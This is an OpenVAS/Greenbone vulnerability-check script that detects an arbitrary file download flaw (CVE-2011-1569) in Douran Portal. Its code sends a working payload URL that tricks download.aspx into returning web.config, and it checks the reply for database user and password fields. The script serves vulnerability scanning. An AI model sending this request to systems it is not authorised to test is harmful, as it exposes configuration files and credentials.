Douran Portal <= 3.9.7.8 Arbitrary File Download Vulnerability

# Copyright (C) 2011 Greenbone Networks GmbH
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-or-later
#
# This program is free software; you can redistribute it and/or
# modify it under the terms of the GNU General Public License
# as published by the Free Software Foundation; either version 2
# of the License, or (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.103120");
  script_version("2022-04-06T08:30:48+0000");
  script_tag(name:"last_modification", value:"2022-04-06 08:30:48 +0000 (Wed, 06 Apr 2022)");
  script_tag(name:"creation_date", value:"2011-03-21 13:19:58 +0100 (Mon, 21 Mar 2011)");
  script_tag(name:"cvss_base", value:"5.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:N/A:N");

  script_cve_id("CVE-2011-1569");

  script_tag(name:"qod_type", value:"remote_vul");

  script_tag(name:"solution_type", value:"WillNotFix");

  script_name("Douran Portal <= 3.9.7.8 Arbitrary File Download Vulnerability");

  script_category(ACT_ATTACK);

  script_copyright("Copyright (C) 2011 Greenbone Networks GmbH");
  script_family("Web application abuses");
  script_dependencies("find_service.nasl", "httpver.nasl", "webmirror.nasl", "DDI_Directory_Scanner.nasl", "global_settings.nasl", "os_detection.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("Host/runs_windows");
  script_exclude_keys("Settings/disable_cgi_scanning");

  script_tag(name:"summary", value:"Douran Portal is prone to a vulnerability that lets attackers
  download arbitrary files. This issue occurs because the application fails to sufficiently
  sanitize user-supplied input.");

  script_tag(name:"impact", value:"Exploiting this issue will allow an attacker to view arbitrary
  files within the context of the application. Information harvested may aid in launching further
  attacks.");

  script_tag(name:"affected", value:"Douran Portal version 3.9.7.8 and prior.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year
  since the disclosure of this vulnerability. Likely none will be provided anymore. General
  solution options are to upgrade to a newer release, disable respective features, remove the
  product or replace the product by another one.");

  script_xref(name:"URL", value:"https://www.exploit-db.com/exploits/17011");
  script_xref(name:"URL", value:"http://www.douran.com/HomePage.aspx?TabID=3901&Site=DouranPortal&Lang=en-US");

  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("port_service_func.inc");

port = http_get_port( default:80 );

if( ! http_can_host_asp( port:port ) )
  exit( 0 );

url = '/download.aspx?FilePathAttach=/&FileNameAttach=web.config\\.&OriginalAttachFileName=secretfile.txt';

if( http_vuln_check( port:port, url:url, pattern:"<configSections>",
                     extra_check:make_list("uid=","pwd=","DouranLogLocation","EnableErrorLog","DouranPortalConfigUpdated" ) ) ) {
  report = http_report_vuln_url( port:port, url:url );
  security_message( port:port, data:report );
  exit( 0 );
}

exit( 99 );